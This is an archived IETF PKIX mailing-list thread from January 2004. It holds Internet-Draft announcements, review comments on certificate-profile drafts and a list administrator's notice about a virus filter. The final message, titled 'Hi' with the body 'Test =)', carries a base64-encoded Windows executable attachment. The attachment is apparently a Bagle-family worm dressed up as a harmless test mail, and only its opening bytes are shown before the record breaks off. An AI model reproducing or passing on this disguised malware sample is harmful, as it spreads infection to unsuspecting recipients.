Received: from krdp8.nist.gov (krdp8.ncsl.nist.gov [129.6.54.113]) by postmark.nist.gov (8.12.5/8.12.5) with ESMTP id i0MId8jP001769; Thu, 22 Jan 2004 13:39:08 -0500 (EST)
Message-Id: <[e-mail]>
X-Sender: [e-mail]
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Date: Thu, 22 Jan 2004 13:40:00 -0500
To: [e-mail]
From: Tim Polk <[e-mail]>
Subject: forwarding AC Policies draft
Cc: [e-mail], [e-mail], Denis Pinkas <[e-mail]>, "Christopher S. Francis" <[e-mail]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Russ,

The Attribute Certificate Policies Extension draft has successfully 
completed Working Group Last Call.  Please consider this draft for IETF 
Last Call and progression as a standards track document.  The current draft 
is available from the Internet Drafts repository at
	http://www.ietf.org/internet-drafts/draft-ietf-pkix-acpolicies-extn-05.txt

Thanks,

Tim Polk



Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0M4D1ib054975; Wed, 21 Jan 2004 20:13:01 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0M4D1Vc054974; Wed, 21 Jan 2004 20:13:01 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from mail-dub.microsoft.com (mail-dub.microsoft.com [213.199.128.160]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0M4Cwib054923 for <[e-mail]>; Wed, 21 Jan 2004 20:12:59 -0800 (PST) (envelope-from [e-mail])
Received: from dub-imc-01.europe.corp.microsoft.com ([65.53.196.35]) by mail-dub.microsoft.com with Microsoft SMTPSVC(5.0.2195.6713); Thu, 22 Jan 2004 04:12:55 +0000
Received: from 65.53.196.35 by dub-imc-01.europe.corp.microsoft.com (InterScan E-Mail VirusWall NT); Thu, 22 Jan 2004 04:12:55 -0000
Received: from EUR-MSG-03.europe.corp.microsoft.com ([65.53.192.44]) by dub-imc-01.europe.corp.microsoft.com with Microsoft SMTPSVC(5.0.2195.6713); Thu, 22 Jan 2004 04:12:55 +0000
X-MimeOLE: Produced By Microsoft Exchange V6.5.7122.0
Content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Subject: RE: I-D ACTION:draft-ietf-pkix-sonof3039-03.txt
Date: Thu, 22 Jan 2004 04:12:52 -0000
Message-ID: <[e-mail]>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: I-D ACTION:draft-ietf-pkix-sonof3039-03.txt
Thread-Index: AcPgls0Ne44FneauQIejMrC4zCgajAABvADg
From: "Stefan Santesson" <[e-mail]>
To: <[e-mail]>, "Tim Polk" <[e-mail]>, "Nystrom, Magnus" <[e-mail]>
Cc: <[e-mail]>
X-OriginalArrivalTime: 22 Jan 2004 04:12:55.0678 (UTC) FILETIME=[030771E0:01C3E09E]
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by above.proper.com id i0M4Cxib054964
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Thanks Jim,

These editorial issues will be fixed

/Stefan
> -----Original Message-----
> From: Jim Schaad [mailto:[e-mail]]
> Sent: den 21 januari 2004 19:25
> To: Stefan Santesson; 'Tim Polk'; 'Nystrom, Magnus'
> Cc: [e-mail]
> Subject: RE: I-D ACTION:draft-ietf-pkix-sonof3039-03.txt
> 
> Comments on this draft.
> 
> 
> 1.  Section 2, para 2:
>  	The text "where the certificate meet some qualification
> requirements" should be changed to either "certificates meet" or
> "certificate meets"  (grammer)
> 
> 2.  You need to update your example certificate, the DOB is no longer
> formed correctly.
> 
> 3.  I suggest not including a nameRegistrationAuthority in the example
> certificate to illistrate how a certificate complient to this document
> is created.
> 
> jim
> 
> > -----Original Message-----
> > From: [e-mail]
> > [mailto:[e-mail]] On Behalf Of
> > [e-mail]
> > Sent: Tuesday, January 20, 2004 12:45 PM
> > To: IETF-Announce:
> > Cc: [e-mail]
> > Subject: I-D ACTION:draft-ietf-pkix-sonof3039-03.txt
> >
> >
> > A New Internet-Draft is available from the on-line
> > Internet-Drafts directories. This draft is a work item of the
> > Public-Key Infrastructure (X.509) Working Group of the IETF.
> >
> > 	Title		: Internet X.509 Public Key
> > Infrastructure: Qualified Certificates Profile
> > 	Author(s)	: S. Santesson, M. Nystrom
> > 	Filename	: draft-ietf-pkix-sonof3039-03.txt
> > 	Pages		: 35
> > 	Date		: 2004-1-20
> >
> > This document forms a certificate profile, based on RFC 3280, for
> >    identity certificates issued to natural persons.
> >
> >    The profile defines specific conventions for certificates that
are
> >    qualified within a defined legal framework, named Qualified
> >    Certificates. The profile does however not define any legal
> >    requirements for such Qualified Certificates.
> >
> >    The goal of this document is to define a certificate profile that
> >    supports issuance of Qualified Certificates independent of local
> >    legal requirements.  The profile is however not limited to
> > Qualified
> >    Certificates and further profiling may facilitate specific local
> >    needs.
> >
> > A URL for this Internet-Draft is:
> > http://www.ietf.org/internet-drafts/draft->
ietf-pkix-sonof3039-03.txt
> >
> > To remove yourself from the IETF Announcement list, send a message
to
> > ietf-announce-request with the word unsubscribe in the body
> > of the message.
> >
> > Internet-Drafts are also available by anonymous FTP. Login
> > with the username "anonymous" and a password of your e-mail
> > address. After logging in, type "cd internet-drafts" and then
> > 	"get draft-ietf-pkix-sonof3039-03.txt".
> >
> > A list of Internet-Drafts directories can be found in
> http://www.ietf.org/shadow.html
> or ftp://ftp.ietf.org/ietf/1shadow-sites.txt
> 
> 
> Internet-Drafts can also be obtained by e-mail.
> 
> Send a message to:
> 	[e-mail].
> In the body type:
> 	"FILE /internet-drafts/draft-ietf-pkix-sonof3039-03.txt".
> 
> NOTE:	The mail server at ietf.org can return the document in
> 	MIME-encoded form by using the "mpack" utility.  To use this
> 	feature, insert the command "ENCODING mime" before the "FILE"
> 	command.  To decode the response(s), you will need "munpack" or
> 	a MIME-compliant mail reader.  Different MIME-compliant mail
> readers
> 	exhibit different behavior, especially when dealing with
> 	"multipart" MIME messages (i.e. documents which have been split
> 	up into multiple messages), so check your local documentation on
> 	how to manipulate these messages.
> 
> 
> Below is the data which will enable a MIME compliant mail reader
> implementation to automatically retrieve the ASCII version of the
> Internet-Draft.




Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0M3LNib051059; Wed, 21 Jan 2004 19:21:23 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0M3LNMC051058; Wed, 21 Jan 2004 19:21:23 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from smtp4.pacifier.net (smtp4.pacifier.net [64.255.237.174]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0M3LJib051048 for <[e-mail]>; Wed, 21 Jan 2004 19:21:20 -0800 (PST) (envelope-from [e-mail])
Received: from ROMANS (ip237.132.dial-acs01.sea.iinet.com [209.20.132.237]) by smtp4.pacifier.net (Postfix) with ESMTP id 4E5326ABCB; Wed, 21 Jan 2004 19:21:21 -0800 (PST)
Reply-To: <[e-mail]>
From: "Jim Schaad" <[e-mail]>
To: "'Stefan Santesson'" <[e-mail]>, "'Tim Polk'" <[e-mail]>, "'Nystrom, Magnus'" <[e-mail]>
Cc: <[e-mail]>
Subject: RE: I-D ACTION:draft-ietf-pkix-sonof3039-03.txt
Date: Wed, 21 Jan 2004 19:25:16 -0800
Message-ID: <005801c3e097$5c021630$[e-mail]>
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.2627
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
Importance: Normal
In-Reply-To: <[e-mail]>
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Comments on this draft.


1.  Section 2, para 2:   
 	The text "where the certificate meet some qualification
requirements" should be changed to either "certificates meet" or
"certificate meets"  (grammer)

2.  You need to update your example certificate, the DOB is no longer
formed correctly.

3.  I suggest not including a nameRegistrationAuthority in the example
certificate to illistrate how a certificate complient to this document
is created.

jim

> -----Original Message-----
> From: [e-mail] 
> [mailto:[e-mail]] On Behalf Of 
> [e-mail]
> Sent: Tuesday, January 20, 2004 12:45 PM
> To: IETF-Announce:
> Cc: [e-mail]
> Subject: I-D ACTION:draft-ietf-pkix-sonof3039-03.txt
> 
> 
> A New Internet-Draft is available from the on-line 
> Internet-Drafts directories. This draft is a work item of the 
> Public-Key Infrastructure (X.509) Working Group of the IETF.
> 
> 	Title		: Internet X.509 Public Key 
> Infrastructure: Qualified Certificates Profile
> 	Author(s)	: S. Santesson, M. Nystrom
> 	Filename	: draft-ietf-pkix-sonof3039-03.txt
> 	Pages		: 35
> 	Date		: 2004-1-20
> 	
> This document forms a certificate profile, based on RFC 3280, for
>    identity certificates issued to natural persons.
> 
>    The profile defines specific conventions for certificates that are
>    qualified within a defined legal framework, named Qualified
>    Certificates. The profile does however not define any legal
>    requirements for such Qualified Certificates.
> 
>    The goal of this document is to define a certificate profile that
>    supports issuance of Qualified Certificates independent of local
>    legal requirements.  The profile is however not limited to 
> Qualified
>    Certificates and further profiling may facilitate specific local
>    needs.
> 
> A URL for this Internet-Draft is: 
> http://www.ietf.org/internet-drafts/draft-> ietf-pkix-sonof3039-03.txt
> 
> To remove yourself from the IETF Announcement list, send a message to 
> ietf-announce-request with the word unsubscribe in the body 
> of the message.
> 
> Internet-Drafts are also available by anonymous FTP. Login 
> with the username "anonymous" and a password of your e-mail 
> address. After logging in, type "cd internet-drafts" and then
> 	"get draft-ietf-pkix-sonof3039-03.txt".
> 
> A list of Internet-Drafts directories can be found in 
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	[e-mail].
In the body type:
	"FILE /internet-drafts/draft-ietf-pkix-sonof3039-03.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail
readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.



Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0M2Igib047962; Wed, 21 Jan 2004 18:18:42 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0M2IgJO047961; Wed, 21 Jan 2004 18:18:42 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from smtp2.pacifier.net (smtp2.pacifier.net [64.255.237.172]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0M2Ieib047955 for <[e-mail]>; Wed, 21 Jan 2004 18:18:40 -0800 (PST) (envelope-from [e-mail])
Received: from ROMANS (ip237.132.dial-acs01.sea.iinet.com [209.20.132.237]) by smtp2.pacifier.net (Postfix) with ESMTP id E65C16AD35; Wed, 21 Jan 2004 18:18:41 -0800 (PST)
Reply-To: <[e-mail]>
From: "Jim Schaad" <[e-mail]>
To: "'Denis Pinkas'" <[e-mail]>, "'Tom Gindin'" <[e-mail]>
Cc: <[e-mail]>
Subject: RE: I-D ACTION:draft-ietf-pkix-pi-08.txt
Date: Wed, 21 Jan 2004 18:22:38 -0800
Message-ID: <005701c3e08e$9b392fe0$[e-mail]>
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.2627
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
Importance: Normal
In-Reply-To: <[e-mail]>
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Comments on draft -08.

1.  Privacy concerns should be additionally outlined and covered in the
security considerations section.

2.  Section 1, para 9: Text here allows for an AA to have a unique URI
name.  Has been removed from the syntax.

3.  Section 1, para 14:  Suggested text "both the same permanent
identifier value and the same Authority Identifer Value, then these".
(I find the use of identityType to be confusing since I consider this to
relate to type choice of IdentifierValue as well.)

4.  Section 2:  What is the criteria for use of iA5String vs uTF8String?


5.  Section 2:  When doing comparisons do I need to cross compare these
two different value items?

6.  Section 2: The statement 'It is an OID.' is redundant and can be
removed.

7.  Section 3: Contains a paragraph dealing with matching rules.  Since
this is no longer a field in the structure the paragraph should be
re-written to state what the one and only matching rule is.

8.  Appendix A.1:  New request, please put a reference to the document
containing the pkix module into the pkix document (i.e. something like
"-- found in [RFC 3280]".  This prevents documents from importing
modules that are lower in the standards process without having any
explicit reference to them.

jim


> -----Original Message-----
> From: [e-mail] 
> [mailto:[e-mail]] On Behalf Of 
> [e-mail]
> Sent: Wednesday, January 21, 2004 1:27 PM
> To: IETF-Announce:
> Cc: [e-mail]
> Subject: I-D ACTION:draft-ietf-pkix-pi-08.txt
> 
> 
> A New Internet-Draft is available from the on-line 
> Internet-Drafts directories. This draft is a work item of the 
> Public-Key Infrastructure (X.509) Working Group of the IETF.
> 
> 	Title		: Internet X.509 Public Key 
> Infrastructure Permanent Identifier
> 	Author(s)	: D. Pinkas, T. Gindin
> 	Filename	: draft-ietf-pkix-pi-08.txt
> 	Pages		: 12
> 	Date		: 2004-1-21
> 	
> This document define a new form of name, called permanent 
> identifier, that may be included in the subjectAltName extension 
> of a public key certificate issued to an entity.
> The permanent identifier is an optional feature that may be used 
> by a CA to indicate that the certificate relates to the same 
> entity even if the name or the affiliation of that entity stored 
> in the subject or another name form in the subjectAltName extension 
> has changed.
> The subject name, carried in the subject field, is only unique 
> for each subject entity certified by the one CA as defined by the 
> issuer name field. Also, the new name form can carry a 
> name that is unique for each subject entity certified by a CA.
> 
> A URL for this Internet-Draft is: 
> http://www.ietf.org/internet-drafts/draft-> ietf-pkix-pi-08.txt
> 
> 
> To remove yourself from the IETF 
> Announcement list, send a message to 
> ietf-announce-request with the word unsubscribe in the body 
> of the message.
> 
> Internet-Drafts are also available by anonymous FTP. Login 
> with the username "anonymous" and a password of your e-mail 
> address. After logging in, type "cd internet-drafts" and then
> 	"get draft-ietf-pkix-pi-08.txt".
> 
> A list of Internet-Drafts directories can be found in 
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	[e-mail].
In the body type:
	"FILE /internet-drafts/draft-ietf-pkix-pi-08.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail
readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.



Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0LLR2ib035441; Wed, 21 Jan 2004 13:27:02 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0LLR2PM035440; Wed, 21 Jan 2004 13:27:02 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from ietf.org (odin.ietf.org [132.151.1.176]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0LLR0ib035434 for <[e-mail]>; Wed, 21 Jan 2004 13:27:01 -0800 (PST) (envelope-from [e-mail])
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA09536; Wed, 21 Jan 2004 16:27:00 -0500 (EST)
Message-Id: <[e-mail]>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: [e-mail]
From: [e-mail]
Reply-to: [e-mail]
Subject: I-D ACTION:draft-ietf-pkix-pi-08.txt
Date: Wed, 21 Jan 2004 16:26:57 -0500
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Public-Key Infrastructure (X.509) Working Group of the IETF.

	Title		: Internet X.509 Public Key Infrastructure Permanent Identifier
	Author(s)	: D. Pinkas, T. Gindin
	Filename	: draft-ietf-pkix-pi-08.txt
	Pages		: 12
	Date		: 2004-1-21
	
This document define a new form of name, called permanent 
identifier, that may be included in the subjectAltName extension 
of a public key certificate issued to an entity.
The permanent identifier is an optional feature that may be used 
by a CA to indicate that the certificate relates to the same 
entity even if the name or the affiliation of that entity stored 
in the subject or another name form in the subjectAltName extension 
has changed.
The subject name, carried in the subject field, is only unique 
for each subject entity certified by the one CA as defined by the 
issuer name field. Also, the new name form can carry a 
name that is unique for each subject entity certified by a CA.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-pkix-pi-08.txt

To remove yourself from the IETF Announcement list, send a message to 
ietf-announce-request with the word unsubscribe in the body of the message.

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-pkix-pi-08.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	[e-mail].
In the body type:
	"FILE /internet-drafts/draft-ietf-pkix-pi-08.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="[e-mail]"

Content-Type: text/plain
Content-ID:	<[e-mail]>

ENCODING mime
FILE /internet-drafts/draft-ietf-pkix-pi-08.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-pkix-pi-08.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<[e-mail]>

--OtherAccess--

--NextPart--




Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0KKiuib085713; Tue, 20 Jan 2004 12:44:56 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0KKiuhk085712; Tue, 20 Jan 2004 12:44:56 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from ietf.org (odin.ietf.org [132.151.1.176]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0KKipib085704 for <[e-mail]>; Tue, 20 Jan 2004 12:44:53 -0800 (PST) (envelope-from [e-mail])
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA20813; Tue, 20 Jan 2004 15:44:51 -0500 (EST)
Message-Id: <[e-mail]>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: [e-mail]
From: [e-mail]
Reply-to: [e-mail]
Subject: I-D ACTION:draft-ietf-pkix-sonof3039-03.txt
Date: Tue, 20 Jan 2004 15:44:50 -0500
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Public-Key Infrastructure (X.509) Working Group of the IETF.

	Title		: Internet X.509 Public Key Infrastructure: Qualified Certificates Profile
	Author(s)	: S. Santesson, M. Nystrom
	Filename	: draft-ietf-pkix-sonof3039-03.txt
	Pages		: 35
	Date		: 2004-1-20
	
This document forms a certificate profile, based on RFC 3280, for
   identity certificates issued to natural persons.

   The profile defines specific conventions for certificates that are
   qualified within a defined legal framework, named Qualified
   Certificates. The profile does however not define any legal
   requirements for such Qualified Certificates.

   The goal of this document is to define a certificate profile that
   supports issuance of Qualified Certificates independent of local
   legal requirements.  The profile is however not limited to Qualified
   Certificates and further profiling may facilitate specific local
   needs.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-pkix-sonof3039-03.txt

To remove yourself from the IETF Announcement list, send a message to 
ietf-announce-request with the word unsubscribe in the body of the message.

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-pkix-sonof3039-03.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	[e-mail].
In the body type:
	"FILE /internet-drafts/draft-ietf-pkix-sonof3039-03.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="[e-mail]"

Content-Type: text/plain
Content-ID:	<[e-mail]>

ENCODING mime
FILE /internet-drafts/draft-ietf-pkix-sonof3039-03.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-pkix-sonof3039-03.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<[e-mail]>

--OtherAccess--

--NextPart--




Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0K3GEib057132; Mon, 19 Jan 2004 19:16:14 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0K3GE7G057131; Mon, 19 Jan 2004 19:16:14 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from [63.202.92.157] (adsl-63-202-92-157.dsl.snfc21.pacbell.net [63.202.92.157]) (authenticated bits=0) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0K3GCic057123 for <[e-mail]>; Mon, 19 Jan 2004 19:16:13 -0800 (PST) (envelope-from [e-mail])
Mime-Version: 1.0
X-Sender: [e-mail]
Message-Id: <p0602045cbc324d68ce48@[63.202.92.157]>
X-Habeas-SWE-1: winter into spring
X-Habeas-SWE-2: brightly anticipated
X-Habeas-SWE-3: like Habeas SWE (tm)
X-Habeas-SWE-4: Copyright 2002 Habeas (tm)
X-Habeas-SWE-5: Sender Warranted Email (SWE) (tm). The sender of this
X-Habeas-SWE-6: email in exchange for a license for this Habeas
X-Habeas-SWE-7: warrant mark warrants that this is a Habeas Compliant
X-Habeas-SWE-8: Message (HCM) and not spam. Please report use of this
X-Habeas-SWE-9: mark in spam to <http://www.habeas.com/report>.
Date: Mon, 19 Jan 2004 19:16:09 -0800
To: [e-mail]
From: Paul Hoffman / IMC <[e-mail]>
Subject: ADMINISTRIVIA: Hopefully no more Windows viruses
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Greetings again. I have just installed a procmail filter on this list 
that should prevent Windows viruses from getting to the mailing list. 
It won't prevent them all, so you need to continue to remember not to 
execute stuff that you receive from this (or any!) mailing list.

--Paul Hoffman, Director
--Internet Mail Consortium



Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0J7Vwib047594; Sun, 18 Jan 2004 23:31:58 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0J7VwfP047593; Sun, 18 Jan 2004 23:31:58 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from oemcomputer ([61.8.226.28]) by above.proper.com (8.12.10/8.12.8) with SMTP id i0J7Vqic047538 for <[e-mail]>; Sun, 18 Jan 2004 23:31:53 -0800 (PST) (envelope-from [e-mail])
Date: Mon, 19 Jan 2004 15:14:21 +0800
To: [e-mail]
Subject: Hi
From: [e-mail]
Message-ID: <[e-mail]>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="--------255038165501247"
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

----------255038165501247
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit

 Test =)
aurmghmuyecieu
--
Test, yep.

----------255038165501247
Content-Type: application/x-msdownload; name="yghwker.exe"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="oib.exe"

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAyAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g
RE9TIG1vZGUuDQ0KJAAAAAAAAADchu8bmOeBSJjngUiY54FImOeBSJvngUgW+JJIxeeBSGTH
k0iZ54FIX+GHSJnngUhSaWNomOeBSAAAAAAAAAAAAAAAAAAAAABQRQAATAEEAN9uCkAAAAAA
AAAAAOAADwELAQUMACQAAABCAAAAAAAAijEAAAAQAAAAQAAAAABAAAAQAAAAAgAABAAAAAAA
AAAEAAAAAAAAAACgAAAABAAAOScBAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAA
AAAAADhBAADIAAAAAJAAAKADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAOAEAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAGJlYWdsZQAAhiMAAAAQAAAAJAAAAAQAAAAAAAAAAAAAAAAAACAA
AGAucmRhdGEAANQHAAAAQAAAAAgAAAAoAAAAAAAAAAAAAAAAAABAAABALmRhdGEAAABONQAA
AFAAAAAKAAAAMAAAAAAAAAAAAAAAAAAAQAAAwC5yc3JjAAAAoAMAAACQAAAABAAAADoAAAAA
AAAAAAAAAAAAAEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFWL
